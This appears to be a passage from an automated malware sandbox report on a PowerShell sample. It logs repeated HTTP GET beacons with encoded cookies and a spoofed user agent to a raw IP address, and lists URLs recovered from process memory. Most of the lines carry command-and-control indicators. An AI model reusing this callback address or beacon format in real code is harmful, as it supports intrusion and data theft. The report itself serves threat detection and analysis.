Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=f3KLUySx6xT1hSRSRqRlM4UOCDgSNcsJ6D0intBeElRcRfwjbekNRId49onDj2s8lxuOXnxeVm28C4wOad6nCNmsR7YVz57t9WjXCyMlFDXrbo0IT9QnJj0KdbZXAs15u_QI2Dfc4wjNiK-ncp5PiOz8ClWtYvCFv2r6fzKgiupKRpP-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=9bgAwK57YId_T6_BzG7uoA_Eg6uY_0CaYvepDVqUmcfWj3ew5yOG1w2yfRpJReCvHdEFzfaU3f42wQed4xQsm1NmzCWfBRV-f6JcmKnvn6ZhpAabxR6stbfA_iXdyEbqMT6DS70WaJtHQiQ0-FTEG2Y2gcYnqHsWNaBx7LhqAXnAjBhtUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=P2K3T2Sh1wi1lRhOBrRZL8UeNCRSJfcVqC0egpBOLkgcVcA_LfkxWMdoypWDn1cg1wuyQjxOanH8G7ASKc6bFJm8e6pV36LxtXjrF2M1KCmrfrEUD8QbOn0aSaoXEvFl--Q0xHfM3xSNmJO7Mo5zlKzsNkntcsyZ_3rGY3KwtvYKVq_iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=z-fNzpQkrYlFEGLP9jEjrjWbTqWioI2UWKhkA2DLVMns0Lq-3XxL2TftsBRzGi2hJ47Iw8zLEPAMnsqT2UvhlWk5ASulWthwRf2RlpOwUqhb-8uV_0Fhu42fMyvnl4vkC2FORYdJpZV9Hek6wgsJFVxpTMgd97YYD_-84oI1zHf609VjUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=AKR8TltnHAmKU9NPOXKSLvrY_yVt4zwUl-vVg6-I5Ukjkws-Ej_6WfiuAZS8WZwh6M15QwOIoXDD3XsTFghQFaZ6sKtqGWnwir4gFlzz4yiUuHoVMALQO0Lcgqso1DpkxCL_xUgKFBWyXli6DUi4lZMq_UjStAeYwLwNYk12ffc1kGTjUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Hl0zgUWeU8aUqpyAJ4vd4eQhsOpzGnPbiRKaTLFxqoY9akTxDMa1luZXTluioNPu9jQ2jB1x7r_dJDTcCPEf2riD_2R04CY_lEdv2UIKrOeKQTXaLvuf9FwlzWQ2LXWr2tuwClbzW9qspxd1E7H3Wo3TsofMTUhX3kVCrVOPMjgraSssUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Idey03oU0pSrIB3SGAFcs9urMbhMkPKJtpgbHo77K9QC4MWjM0w0xNndzwmdKlK8yb633iL7b-3irrWON3ueiIcJfjZLaqdtq83ui32ALbW1y7SIEXEepmOvTDYJp_T55VExWGl52oiTLZYnLDt2CLJZM9Xzx8kF4c_D_2wFs2oU46p-User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=vMfsVucEjBE2MENXhRECNka7bz3RgKwMK4hFmxPrdVGf8JsmrlxqQUTNkYwAOgw5VK7pW7_rMWh_vusLqmvADRoZILPWevnoNt2wDuCQczAo2-oNjGFAI_6_ErOUt6p8eEFv3fRphA0OPciisSsojS9JbVBu15eAfN-devEV7e-J8_T7User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=w99yqJgcEu9JKN2p-gmcyDmj8cOumDLyVJDbZWzz66_g6AXY0UT0vzvVD3J_IpLHK7Z3pcDzr5YApnX11XNe82UBvk2pYmcWScUu8J-I7c5Xw3Tz83ne3YGnjE3rrzSCB1nxI4txGvNxJVZczjO2c1BR864Rzwl-A8cDhI4NcxH262oFUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=YI47bjtNWynqeZRvWVjVDpryuAUNyXs098GSo8-iomlDuUwechW9eZiERrTcc9sBiOc-Y2Oi5lCj9zwzdiIXNcZQ94sKMy7Q6pRnNjzZpAj0kj01UCiXGyL2xYtI_n1EpAi45SggUzXSdB-abWL_tfMAumiynkC4oJZKQi1cOtdVuiPDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=o9g-AfgbXkYpL5EAmg7QYVmkvWrOn35bNJeXzAz0pwaA70lxsUO4FlvSQ9sfJd5uS7E7DKD04z9goTlctXQSWgUG8uTJZSu_KcJiWf-PoWc3xDhak36SdOGgwOSLqHgrZ169iut2VloRIhr1rjT62jBWvwdxyEXXY8BPLe4KP7iW7CasUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=iZnj0NJag5cDbkzRsE8NsHPlYLvk3qOKHtZKHSa1eteqrpSgmwJlx3GTngo1ZAO_YfDm3Yq1Pu5K4OSNnzXPiy9HLzXjJPZuA4O_iNXOfLYdheWLuT9PpcvhHTWh6aX6TR9gW8E3i4s7Y8ckhHUnCxoXYtZbiZgGSYGS_MRL4mm8rft9User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=uetFzeIoJYozHOrMgD2rrUOXxqbUrAWXLqTsABbH3Mqa3DK9q3DD2kHhOBcFFqWiUYJAwLrHmPN6kkKQr0dplh81iSjTVlBzM_EZleW82qst90OWiU3puPuTuyiRmwPnfW3GRvFFLZYLEWE5tAeBFiplxMtr-z4befM04fQ5RHSM311gUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=yNVYupMWOP1CIve78QO22jKp29GlkhjgX5rxd2f5wb3r4i_K2k7erTDfJWB0KLjVILxdt8v5hYQLrF_n3nl04W4LlF-iaE0EQs8E4pSCx9xcyV7h-HP0z4qtpl_gpR6QDFPbMYB7MOF6L3xOxTmcYVtb2bwaxSNsCM0ploUHWQP94UAXUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=j9ZC3tQVIpkFIe3ftgCsvnWqwbXikQKEGJnrEyD629ms4TWunU3EyXfcPwQzK6KxZ79H04z6n-BMr0WDmXpuhSkIjjvla1dgBcwehtOB3bgbykSFv3Duq82uvDunpgT0S1DBVcd4KoU9LGYqgjqGBRxYw9hdxjkIT84z8sIEQ2e64lpzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=HjntXkX6jRmUzkJfJ-8DPuRFbjVzfq0EiXZEk7EVdFk9DpouDKJrSeYzkISixA0x9lDoUx0VMGDdQOoDCJXBBbjnIbt0hPjglCOxBkJucjiKJesFLp9BK1xBE7s2Sat02r9u1VaXhQWsw8mqE9UphY23bFjMKZaI3iGcclPr7OcrDfXzUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=h2Jf59yhP6ANlfDmvrSxh30e3IzqJR-9EC32KihOxuCkVSiXlfnZ8H9oIj07n7-Ibwta6oROgtlEG1i6kc5zvCG8kwLt30pZDXgDv9s1wIETflm8t8TzksUaoQKvEhnNQ-TcbM_MN7w1mHsTio6bPBTs3uFVciQxR3ouy8qwXl6yVkdKUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=CJm3yVNa146CbhjIMU9ZqfLlNKJl3veTn9YeBKe1Ls4rrsC5GgIx3vCTyhO0ZFem4PCyxAu1avfL4LCUHjWbkq5HeyxiJKJ3goPrkVTOKK-chbGSOD8bvErhSSwg6fHjzB80QkA335K6Y5M9BXVzEpsXNs_aicwfyIHG5UVLtnA9ra9kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=VGDPWA-jrx_el2BZbbYhOK4cTDM5J48Cwy9mlftMVl93V7goRvtJT6xqsoLonS83vAnKVVdMEmaXGcgFQszjA_K-A70-3drm3nqTAAg3UD7AfMkDZMZjLRYYMb18EIlykOZM0xzOpwPmmuusWYwLg8fuTl6GcLSOlHi-dBmyzuFhVNf1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=-RGjOaLSw35z5gw4wMdNWQNtIFKUVuNjbl4K9FY9Oj7aJtRJ64olLgEb3uNF7ENWEXimNPo9fgc6aKRk772PYl_Pb9yTrLaHcwv_YaVGPF9tDaViybcPTLtpXdzRYeUTPZcgsrG_y2JL64fN9P1n4mqfIj8rAdjvOQnSFbTDooDMJbuUUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache

Source: powershell.exe, 00000002.00000002.616113565.000000000833D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/d
Source: powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F
Source: powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F(
Source: powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F.0
Source: powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F.0#
Source: powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F.0/
Source: powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F.0Q
Source: powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F.0U
Source: powershell.exe, 00000002.00000002.601091963.00000000072F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F.0l
Source: powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0F2534131000400000100010
Source: powershell.exe, 00000002.00000002.601091963.000000000731E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0FK4
Source: powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0FLd
Source: powershell.exe, 00000002.00000002.601091963.000000000734B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0Ftipart/x-byteranges
Source: powershell.exe, 00000002.00000002.601091963.000000000731E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.216.210.27/design/query/9X5M3SOE0Fz4
Source: powershell.exe, 00000000.00000002.578368546.000002B4E784F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000002.00000002.601091963.00000000072D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jqueryui.com
Source: powershell.exe, 00000000.00000002.631046566.000002B4F7CB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.580163042.000002B4E7BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.580163042.000002B4E79E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.577893401.0000000004611000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.580163042.000002B4E7BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.580163042.000002B4E7BE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.580163042.000002B4E8D89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.631046566.000002B4F7CB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.631046566.000002B4F7B7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=jqx2K9VvFmwEW9kqt3qYS3TQ9UDj6zZxGePf5iGA7yytmwFbnDfwPHamC_EyUZZEZsVzJo2AqxVN1XF2mABacChyus7kEWOVBLYqc9L76U0asHBwvgraXszUiM6m3DABSir1oMYCHnA8VlLfg0Cy8B0i9y1cvA39TrQHB8N-d5K7mG6GUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Kp-W_HFc9rugaDn9E0l4nNDjFZdH2NamvdA_MYWzD_sJqOGMOAQQ69KV6yaWYnaTwvaT8SmzS8Lp5pGhPDO6p4xBWhlAIoNCoIXKpHbICZq-g5CnGjk6iWjnaBkC79DW7hkVd2Ix_qeYZbIIJ3NSJ7kRF_r4j-0q6ofn0GdNl0Ufq45RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=MBzzTWvfkwq661xMCcodLcpgcCZdW7MXp1NagJ8wakoTK4Q9Iod1WsgWjpeM4RMi2HX2QDMwLnPzZfQQJrDfFpbCP6haoebzugavFWxLbCukAPUWALpfOHJkDagYbLVn9JpwxniymxaC5te5PfA3lqOSckviDIib8ASCYX3O8vQFKOvgUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=rc0QbvYOcCknOr9vlBv-DlexkwXAilA0OoK5owLhiWmO-mcev1aWeVXHbbQRMPABRaQVY67hzVButBczu2E8NQsT3IvHcAXQJ9dMNvGajwg50RY1nWu8G--17ouFvVZEaUuT5eVjeDUfNzSaoCHUtT5DkWh_3Wu4bdVhQuAfEdeY-QjDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=91902KycFJ99qNvZzomauA0j97OaGDSCYBDdFVhz7d_UaAOo5cTyzw9VCQJLopS3HzZx1fRzqeY0JnOF4fNYg1GBuD2d4mFmfUUogKsI675jQ3KDx_nYrbUnij3fLzLyM9n3U7_xHINFpVAs-rOwA2TR9d4lTw8ON0cF9LqNdWHCa2x1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=TclGyxYKJozHPunKdB-oq7e1xaAgjgaR2obvBuLl38xu_jG7X1LA3LXDOxHxNKakpaBDxk7lm_WOsEGWW2VqkOsXii4ndFN1x9MakxGe2a3Z1UCQfW_qvg-xuC5luQDhiU_FQAVnLpD_M2I_QCWCEN5Hx82f2T0djdE35wAbR3J4_V5mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Jjk-bn36XimszpFvH-_QDtxFvQVLfn40sXaXo4kVp2kFDkkeNKK4ed4zQ7SaxN4BzlA7YyUV41DlQDkzMJUSNYDn8otMhCvQrCNiNnpuoQiyJTg1Fp-SG2RBwIsOSXhE4r-95W6XVjWUwxqaK9X6tbW3v2j0KUW45iFPQmvrP9cTDSbDUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Bupe1F0pPpOMHfHVPzywtPyW3b9rrR6OkaX3GanGx9Ml3SmkFHHYw_7gIw66F7677oNb2QXGg-rFk1mJEEZyj6A0kjFsV0tqjPACjFq9wbKS9liPNkzyoUSSoDEumhj-wmzdX05ENo-0EHogCwaaD5Vk39LU-iUCxvIv-Es4X20z3kZ5User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=LSrJu3bpqfyn3Wa6FPwn29dWStBAbYnhumVgdoIGULwOHb7LP7FPrNUgtGGR1ynUxUPMti4GFIXuU87mO4bl4Iv0BV5Hl9wFpzCV43F9Vt25Ns_gHYxlzm9SN14FWo-R6axKMGWEoeCf0O1PIMYNYL6kSL3_OrJt7TK4l2D4yAIYHtEWUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=tVdgOO6UAH8_oM85jIGOWE8r41PYECBiIhjJ9Rp7-T-WYBdIp8zmL01dHeIJqoBXXT5lNbZ7vQZ2Lmdlo_tMYxOJrN3f6nWGP008YOkA_14hS2ZjhfHMTfcvnt2dJyYScdHjs_35CGMHrUTMuLuk4ybZ4T5nRxvudU8RFPiFYYGAY3iVUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=Py8NvWTsbfq12KK8Bvnj3cVTjtZSaE3nqGCkcJADlLocGHrNLbSLqsclcGeD0u3S10YIsDwD0IP8VgrgKYMh5pnxwVhVkhgDtTVR5WN4kturMwvmD4mhyH1X81gXX0uX-6mONneBZeaN1SlJMsPJZqyhjLvtP3Zr_zd8kXL9DAQKGxUQUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /design/query/9X5M3SOE0F HTTP/1.1Accept: application/xhtml+xml, application/json, image/Accept-Language: es-doAccept-Encoding: , identityCookie: _WGid=NubnFm0lh1G8EUgXDzAJdsyaZH1boadMoalO25nKfhEV0ZBmJH1hAc7smsyKGwd53o_iGzXKOij1n-BLIErLTZA4K_NcW_KovPy7TmqxeHCi-uFNBkBLY3SeGfMelqE88mBknX5Ij02EHMPiOwojzaVoZhDk9pzA9v6WOns05q8D0v-7User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0Host: 88.216.210.27Connection: Keep-AliveCache-Control: no-cache
